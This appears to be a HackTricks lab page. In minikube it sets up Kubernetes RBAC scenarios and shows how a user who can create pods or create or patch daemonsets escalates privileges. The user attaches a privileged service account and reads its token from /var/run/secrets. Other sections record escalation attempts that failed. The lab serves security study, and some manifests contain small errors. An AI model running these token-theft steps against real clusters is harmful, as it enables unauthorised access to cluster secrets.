hacktricks/cloud-security/pentesting-kubernetes/abusing-roles-clusterroles-in-kubernetes/k8s-roles-abuse-lab.md
2022-02-16 09:28:48 +00:00

16 KiB

K8s Roles Abuse Lab

You can run these labs just inside minikube.

Pod Creation -> Escalate to ns SAs

We are going to create:

  • A Service account "test-sa" with a cluster privilege to read secrets
    • A ClusterRole "test-cr" and a ClusterRoleBinding "test-crb" will be created
  • Permissions to list and create pods to a user called "Test" will be given
    • A Role "test-r" and RoleBinding "test-rb" will be created
  • Then we will confirm that the SA can list secrets and that the user Test can list a pods
  • Finally we will impersonate the user Test to create a pod that includes the SA test-sa and steal the service account token.
    • This is the way yo show the user could escalate privileges this way

{% hint style="info" %} To create the scenario an admin account is used.
Moreover, to exfiltrate the sa token in this example the admin account is used to exec inside the created pod. However, as explained here, the declaration of the pod could contain the exfiltration of the token, so the "exec" privilege is not necesario to exfiltrate the token, the "create" permission is enough. {% endhint %}

# Create Service Account test-sa
# Create role and rolebinding to give list and create permissions over pods in default namespace to user Test
# Create clusterrole and clusterrolebinding to give the SA test-sa access to secrets everywhere

echo 'apiVersion: v1
kind: ServiceAccount
metadata:
  name: test-sa
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
  name: test-r
rules:
  - apiGroups: [""]
    resources: ["pods"]
    verbs: ["get", "list", "delete", "patch", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: test-rb
subjects:
  - kind: ServiceAccount
    name: test-sa
  - kind: User
    name: Test
roleRef:
  kind: Role
  name: test-r
  apiGroup: rbac.authorization.k8s.io
---
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
  name: test-cr
rules:
  - apiGroups: [""]
    resources: ["secrets"]
    verbs: ["get", "list", "delete", "patch", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: test-crb
subjects:
  - kind: ServiceAccount
    namespace: default
    name: test-sa
    apiGroup: ""
roleRef:
  kind: ClusterRole
  name: test-cr
  apiGroup: rbac.authorization.k8s.io' | kubectl apply -f -

# Check test-sa can access kube-system secrets
kubectl --as system:serviceaccount:default:test-sa -n kube-system get secrets

# Check user User can get pods in namespace default
kubectl --as Test -n default get pods

# Create a pod as user Test with the SA test-sa (privesc step)
echo "apiVersion: v1
kind: Pod
metadata:
  name: test-pod
  namespace: default
spec:
  containers:
  - name: alpine
    image: alpine
    command: ['/bin/sh']
    args: ['-c', 'sleep 100000']
  serviceAccountName: test-sa
  automountServiceAccountToken: true
  hostNetwork: true"| kubectl --as Test apply -f -

# Connect to the pod created an confirm the attached SA token belongs to test-sa
kubectl exec -ti -n default test-pod -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d

# Clean the scenario
kubectl delete pod test-pod
kubectl delete clusterrolebinding test-crb
kubectl delete clusterrole test-cr
kubectl delete rolebinding test-rb
kubectl delete role test-r
kubectl delete serviceaccount test-sa

Create Daemonset

# Create Service Account test-sa
# Create role and rolebinding to give list & create permissions over daemonsets in default namespace to user Test
# Create clusterrole and clusterrolebinding to give the SA test-sa access to secrets everywhere

echo 'apiVersion: v1
kind: ServiceAccount
metadata:
  name: test-sa
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
  name: test-r
rules:
  - apiGroups: ["apps"]
    resources: ["daemonsets"]
    verbs: ["get", "list", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: test-rb
subjects:
  - kind: User
    name: Test
roleRef:
  kind: Role
  name: test-r
  apiGroup: rbac.authorization.k8s.io
---
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
  name: test-cr
rules:
  - apiGroups: [""]
    resources: ["secrets"]
    verbs: ["get", "list", "delete", "patch", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: test-crb
subjects:
  - kind: ServiceAccount
    namespace: default
    name: test-sa
    apiGroup: ""
roleRef:
  kind: ClusterRole
  name: test-cr
  apiGroup: rbac.authorization.k8s.io' | kubectl apply -f -

# Check test-sa can access kube-system secrets
kubectl --as system:serviceaccount:default:test-sa -n kube-system get secrets

# Check user User can get pods in namespace default
kubectl --as Test -n default get daemonsets

# Create a daemonset as user Test with the SA test-sa (privesc step)
echo "apiVersion: apps/v1
kind: DaemonSet
metadata:
  name: alpine
  namespace: default
spec:
  selector:
    matchLabels:
      name: alpine
  template:
    metadata:
      labels:
        name: alpine
    spec:
      serviceAccountName: test-sa
      automountServiceAccountToken: true
      hostNetwork: true
      containers:
      - name: alpine
        image: alpine
        command: ['/bin/sh']
        args: ['-c', 'sleep 100000']"| kubectl --as Test apply -f -

# Connect to the pod created an confirm the attached SA token belongs to test-sa
kubectl exec -ti -n default daemonset.apps/alpine -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d

# Clean the scenario
kubectl delete daemonset alpine
kubectl delete clusterrolebinding test-crb
kubectl delete clusterrole test-cr
kubectl delete rolebinding test-rb
kubectl delete role test-r
kubectl delete serviceaccount test-sa

Patch Daemonset

In this case we are going to patch a daemonset to make its pod load our desired service account.

If your user has the verb update instead of patch, this won't work.

# Create Service Account test-sa
# Create role and rolebinding to give list & update patch permissions over daemonsets in default namespace to user Test
# Create clusterrole and clusterrolebinding to give the SA test-sa access to secrets everywhere

echo 'apiVersion: v1
kind: ServiceAccount
metadata:
  name: test-sa
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
  name: test-r
rules:
  - apiGroups: ["apps"]
    resources: ["daemonsets"]
    verbs: ["get", "list", "patch"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: test-rb
subjects:
  - kind: User
    name: Test
roleRef:
  kind: Role
  name: test-r
  apiGroup: rbac.authorization.k8s.io
---
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
  name: test-cr
rules:
  - apiGroups: [""]
    resources: ["secrets"]
    verbs: ["get", "list", "delete", "patch", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: test-crb
subjects:
  - kind: ServiceAccount
    namespace: default
    name: test-sa
    apiGroup: ""
roleRef:
  kind: ClusterRole
  name: test-cr
  apiGroup: rbac.authorization.k8s.io
---
apiVersion: apps/v1
kind: DaemonSet
metadata:
  name: alpine
  namespace: default
spec:
  selector:
    matchLabels:
      name: alpine
  template:
    metadata:
      labels:
        name: alpine
    spec:
      automountServiceAccountToken: false
      hostNetwork: true
      containers:
      - name: alpine
        image: alpine
        command: ['/bin/sh']
        args: ['-c', 'sleep 100']' | kubectl apply -f -

# Check user User can get pods in namespace default
kubectl --as Test -n default get daemonsets

# Create a daemonset as user Test with the SA test-sa (privesc step)
echo "apiVersion: apps/v1
kind: DaemonSet
metadata:
  name: alpine
  namespace: default
spec:
  selector:
    matchLabels:
      name: alpine
  template:
    metadata:
      labels:
        name: alpine
    spec:
      serviceAccountName: test-sa
      automountServiceAccountToken: true
      hostNetwork: true
      containers:
      - name: alpine
        image: alpine
        command: ['/bin/sh']
        args: ['-c', 'sleep 100000']"| kubectl --as Test apply -f -

# Connect to the pod created an confirm the attached SA token belongs to test-sa
kubectl exec -ti -n default daemonset.apps/alpine -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d

# Clean the scenario
kubectl delete daemonset alpine
kubectl delete clusterrolebinding test-crb
kubectl delete clusterrole test-cr
kubectl delete rolebinding test-rb
kubectl delete role test-r
kubectl delete serviceaccount test-sa

Doesn't work

Create/Patch Bindings

Doesn't work:

  • Create a new RoleBinding just with the verb create
  • Create a new RoleBinding just with the verb patch (you need to have the binding permissions)
    • You cannot do this to assign the role to yourself or to a different SA
  • Modify a new RoleBinding just with the verb patch (you need to have the binding permissions)
    • You cannot do this to assign the role to yourself or to a different SA
echo 'apiVersion: v1
kind: ServiceAccount
metadata:
  name: test-sa
---
apiVersion: v1
kind: ServiceAccount
metadata:
  name: test-sa2
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
  name: test-r
rules:
  - apiGroups: ["rbac.authorization.k8s.io"]
    resources: ["rolebindings"]
    verbs: ["get", "patch"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: test-rb
subjects:
  - kind: User
    name: Test
roleRef:
  kind: Role
  name: test-r
  apiGroup: rbac.authorization.k8s.io
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
  name: test-r2
rules:
  - apiGroups: [""]
    resources: ["pods"]
    verbs: ["get", "list", "delete", "patch", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: test-rb2
subjects:
  - kind: ServiceAccount
    name: test-sa
    apiGroup: ""
roleRef:
  kind: Role
  name: test-r2
  apiGroup: rbac.authorization.k8s.io' | kubectl apply -f -

# Create a pod as user Test with the SA test-sa (privesc step)
echo "apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: test-r2
subjects:
  - kind: ServiceAccount
    name: test-sa2
    apiGroup: ""
roleRef:
  kind: Role
  name: test-r2
  apiGroup: rbac.authorization.k8s.io"| kubectl --as Test apply -f -

# Connect to the pod created an confirm the attached SA token belongs to test-sa
kubectl exec -ti -n default test-pod -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d

# Clean the scenario
kubectl delete rolebinding test-rb
kubectl delete rolebinding test-rb2
kubectl delete role test-r
kubectl delete role test-r2
kubectl delete serviceaccount test-sa
kubectl delete serviceaccount test-sa2

Bind explicitly Bindings

In the "Privilege Escalation Prevention and Bootstrapping" section of https://unofficial-kubernetes.readthedocs.io/en/latest/admin/authorization/rbac/ it's mentioned that if a SA can create a Binding and has explicitly Bind permissions over the Role/Cluster role, it can create bindings even using Roles/ClusterRoles with permissions that it doesn't have.
However, it didn't work for me:

# Create 2 SAs, give one of them permissions to create clusterrolebindings
# and bind permissions over the ClusterRole "admin"
echo 'apiVersion: v1
kind: ServiceAccount
metadata:
  name: test-sa
---
apiVersion: v1
kind: ServiceAccount
metadata:
  name: test-sa2
---
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
  name: test-cr
rules:
  - apiGroups: ["rbac.authorization.k8s.io"]
    resources: ["clusterrolebindings"]
    verbs: ["get", "create"]
  - apiGroups: ["rbac.authorization.k8s.io/v1"]
    resources: ["clusterroles"]
    verbs: ["bind"]
    resourceNames: ["admin"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: test-crb
subjects:
  - kind: ServiceAccount
    name: test-sa
    namespace: default
roleRef:
  kind: ClusterRole
  name: test-cr
  apiGroup: rbac.authorization.k8s.io
' | kubectl apply -f -

# Try to bind the ClusterRole "admin" with the second SA (won't work)
echo 'apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: test-crb2
subjects:
  - kind: ServiceAccount
    name: test-sa2
    namespace: default
roleRef:
  kind: ClusterRole
  name: admin
  apiGroup: rbac.authorization.k8s.io
' | kubectl --as system:serviceaccount:default:test-sa apply -f -

# Clean environment
kubectl delete clusterrolebindings test-crb
kubectl delete clusterrolebindings test-crb2
kubectl delete clusterrole test-cr
kubectl delete serviceaccount test-sa
kubectl delete serviceaccount test-sa
# Like the previous example, but in this case we try to use RoleBindings
# instead of CLusterRoleBindings

echo 'apiVersion: v1
kind: ServiceAccount
metadata:
  name: test-sa
---
apiVersion: v1
kind: ServiceAccount
metadata:
  name: test-sa2
---
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
  name: test-cr
rules:
  - apiGroups: ["rbac.authorization.k8s.io"]
    resources: ["clusterrolebindings"]
    verbs: ["get", "create"]
  - apiGroups: ["rbac.authorization.k8s.io"]
    resources: ["rolebindings"]
    verbs: ["get", "create"]
  - apiGroups: ["rbac.authorization.k8s.io/v1"]
    resources: ["clusterroles"]
    verbs: ["bind"]
    resourceNames: ["admin","edit","view"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: test-rb
  namespace: default
subjects:
  - kind: ServiceAccount
    name: test-sa
    namespace: default
roleRef:
  kind: ClusterRole
  name: test-cr
  apiGroup: rbac.authorization.k8s.io
' | kubectl apply -f -

# Won't work
echo 'apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: test-rb2
  namespace: default
subjects:
  - kind: ServiceAccount
    name: test-sa2
    namespace: default
roleRef:
  kind: ClusterRole
  name: admin
  apiGroup: rbac.authorization.k8s.io
' | kubectl --as system:serviceaccount:default:test-sa apply -f -

# Clean environment
kubectl delete rolebindings test-rb
kubectl delete rolebindings test-rb2
kubectl delete clusterrole test-cr
kubectl delete serviceaccount test-sa
kubectl delete serviceaccount test-sa2

Arbitrary roles creation

In this example we try to create a role having the permissions create and path over the roles resources. However, K8s prevent us from creating a role with more permissions the principal creating is has:

# Create a SA and give the permissions "create" and "patch" over "roles"
echo 'apiVersion: v1
kind: ServiceAccount
metadata:
  name: test-sa
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
  name: test-r
rules:
  - apiGroups: ["rbac.authorization.k8s.io"]
    resources: ["roles"]
    verbs: ["patch", "create", "get"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: test-rb
subjects:
  - kind: ServiceAccount
    name: test-sa
roleRef:
  kind: Role
  name: test-r
  apiGroup: rbac.authorization.k8s.io
' | kubectl apply -f -

# Try to create a role over all the resources  with "create" and "patch"
## This won't wotrk
echo 'kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
  name: test-r2
rules:
  - apiGroups: [""]
    resources: ["*"]
    verbs: ["patch", "create"]' | kubectl --as system:serviceaccount:default:test-sa apply -f-

# Clean the environment
kubectl delete rolebinding test-rb
kubectl delete role test-r
kubectl delete role test-r2
kubectl delete serviceaccount test-sa